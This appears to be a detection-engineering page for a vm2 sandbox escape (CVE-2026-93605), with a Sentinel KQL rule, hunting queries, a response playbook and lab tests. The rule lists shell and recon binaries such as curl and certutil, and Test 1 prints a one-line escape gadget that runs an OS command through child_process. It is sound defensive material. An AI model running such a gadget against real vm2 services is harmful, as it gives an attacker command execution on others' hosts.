CVE-2026-93605 Microsoft Sentinel · KQL

Detect vm2 Sandbox Escape via child_process (CVE-2026-93605) in Microsoft Sentinel

Detects exploitation of a critical sandbox escape in the npm package vm2 (<= 3.12.0). vm2 is a widely-used library for running untrusted JavaScript in a sandboxed Node.js context. Due to improper enforcement of the host-process isolation boundary (CWE-693 protection mechanism failure, CWE-913 improper control of dynamically-managed code resources), an attacker who can supply code to the sandbox can escape it and reach host primitives such as the Node.js 'child_process' module, achieving arbitrary command execution on the host. This detection surfaces runtime indicators of a successful escape: Node.js processes that load vm2 spawning unexpected child processes (shells, interpreters, reconnaissance binaries), and vulnerable vm2 versions present in the environment.

MITRE ATT&CK

Tactic
Execution Privilege Escalation

KQL Detection Query

Microsoft Sentinel (KQL)
kusto
let vulnParents = dynamic(["node.exe", "node"]);
DeviceProcessEvents
| where InitiatingProcessFileName in~ (vulnParents)
| where FileName in~ ("cmd.exe", "powershell.exe", "pwsh.exe", "bash", "sh", "wscript.exe", "cscript.exe", "whoami.exe", "net.exe", "curl.exe", "certutil.exe")
| where InitiatingProcessCommandLine has_any ("vm2", "NodeVM", "node_modules")
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, AccountName, InitiatingProcessId
| order by Timestamp desc
critical severity medium confidence

Flags child processes (shells, interpreters, recon binaries) spawned by a node process whose command line references vm2 / NodeVM / node_modules, the signature of a vm2 sandbox escape into child_process.

Data Sources

Microsoft Defender for Endpoint

Required Tables

DeviceProcessEvents

False Positives & Tuning

  • Legitimate Node.js applications that intentionally use vm2 and spawn child processes as part of normal build or job orchestration workflows.
  • CI/CD agents running Node tooling that invokes shells for build steps.
  • Development machines where engineers run vm2 test harnesses that execute sample commands.

Other platforms for CVE-2026-93605


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1vm2 sandbox escape to child_process (lab)

    Expected signal: Process creation event: node parent spawning /bin/sh or id with a command line referencing vm2/node_modules.

  2. Test 2Simulated vm2 escape spawning shell (Windows)

    Expected signal: DeviceProcessEvents: node.exe spawning cmd.exe/whoami.exe with vm2 reference in the initiating command line.

  3. Test 3vm2 escape reconnaissance command (macOS)

    Expected signal: Process launch: node parent spawning sh running whoami/id/uname.


Response Playbook

Triage

  1. Confirm the parent node process is running an application that embeds vm2 and determine whether it processes untrusted/user-supplied JavaScript (the exploitation prerequisite).
  2. Inspect the spawned child process command line for signs of hands-on-keyboard activity (recon, download, reverse shell) versus a benign build/orchestration task.
  3. Check the installed vm2 version on the host: `npm ls vm2` or inspect node_modules/vm2/package.json — versions <= 3.12.0 are vulnerable, 3.12.1 is fixed.
  4. Correlate the timestamp with inbound requests to the service that feeds code into the vm2 sandbox (web request logs, job submissions).

Containment

  1. Isolate the affected host from the network to stop further command execution or lateral movement from the compromised Node process.
  2. Stop or restart the affected Node.js service and block the upstream input vector (e.g., disable the endpoint that accepts untrusted scripts) until vm2 is patched.
  3. Kill the spawned child processes and any persistence they established.

Evidence Collection

  1. Capture the full process tree (node -> child) with command lines, parent command line, and loaded modules.
  2. Preserve the Node application logs and the untrusted script/payload that was submitted to the vm2 sandbox.
  3. Snapshot node_modules/vm2 contents and package-lock.json to record the exact vulnerable version in use.

Escalation Criteria

  • !Escalate to IR if the child process performed network egress, credential access, or spawned additional processes beyond a single benign command.
  • !Escalate if the vulnerable vm2 version is confirmed AND the application accepts untrusted input, indicating a live, exploitable exposure.

Investigation Guide

Related Techniques

Forensic Artifacts

  • >Process creation events (Sysmon EID 1 / auditd execve) showing node parent and shell/recon child.
  • >node_modules/vm2/package.json version string on disk.
  • >Application request logs capturing the untrusted script payload.

Tuning Guidance

Build an allowlist of known Node applications that legitimately use vm2 and spawn child processes (build tooling, job runners) and exclude them by host/service. Tighten the child-process list to high-signal binaries (shells, curl, certutil, net) in environments with heavy benign Node subprocess usage. Combine with an inventory check for vm2 <= 3.12.0 to prioritize hosts with the vulnerable version actually installed.


Hunting Queries

Baselines node processes that spawn shells so analysts can spot anomalous escape activity against normal application behavior.

Hunting — KQL
kql
DeviceProcessEvents | where InitiatingProcessFileName in~ ("node.exe","node") | where FileName in~ ("cmd.exe","powershell.exe","bash","sh") | summarize count() by DeviceName, InitiatingProcessCommandLine, FileName | order by count_ desc
Hunting — SPL
spl
index=* (sourcetype="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1) parent_process_name=node* process_name IN ("cmd.exe","powershell.exe","bash","sh") | stats count by host, parent_process, process_name

Atomic Red Team Tests

Test 1 vm2 sandbox escape to child_process (lab)
linux

Uses a known vm2 <= 3.12.0 escape gadget to break out of the NodeVM sandbox and execute an OS command via child_process.

Command

bash
node -e "const {NodeVM}=require('vm2'); const vm=new NodeVM(); vm.run(\"const e=require('events'); const p=e.prototype; Object.defineProperty(p,'constructor',{}); throw new Proxy({}, {getPrototypeOf(){ require('child_process').execSync('id > /tmp/vm2_escape_poc'); return Object.prototype; }});\", 'exploit.js');"

Cleanup

bash
rm -f /tmp/vm2_escape_poc

Expected Telemetry

Process creation event: node parent spawning /bin/sh or id with a command line referencing vm2/node_modules.

Expected Detection

KQL/SPL rule fires on node-parented shell/recon spawn with vm2 in the parent command line.

Test 2 Simulated vm2 escape spawning shell (Windows)
windows

Runs a node one-liner that loads a vm2-like module path and spawns cmd.exe to emulate the escape telemetry on Windows.

Command

powershell
node -e "const cp=require('child_process'); console.log('vm2 NodeVM node_modules'); cp.execSync('cmd.exe /c whoami');"

Cleanup

powershell
echo no cleanup required

Expected Telemetry

DeviceProcessEvents: node.exe spawning cmd.exe/whoami.exe with vm2 reference in the initiating command line.

Expected Detection

Detection matches node.exe parent launching cmd.exe/whoami.exe with vm2 in command line.

Test 3 vm2 escape reconnaissance command (macOS)
macos

Emulates post-escape reconnaissance by having a node process spawn a shell that runs system recon, with a vm2 reference in the invocation.

Command

bash
node -e "const cp=require('child_process'); console.log('vm2 NodeVM via node_modules'); cp.execSync('sh -c \"whoami; id; uname -a\"');"

Cleanup

bash
echo no cleanup required

Expected Telemetry

Process launch: node parent spawning sh running whoami/id/uname.

Expected Detection

Rule fires on node-parented sh spawn with vm2 reference and recon commands.

Related Detections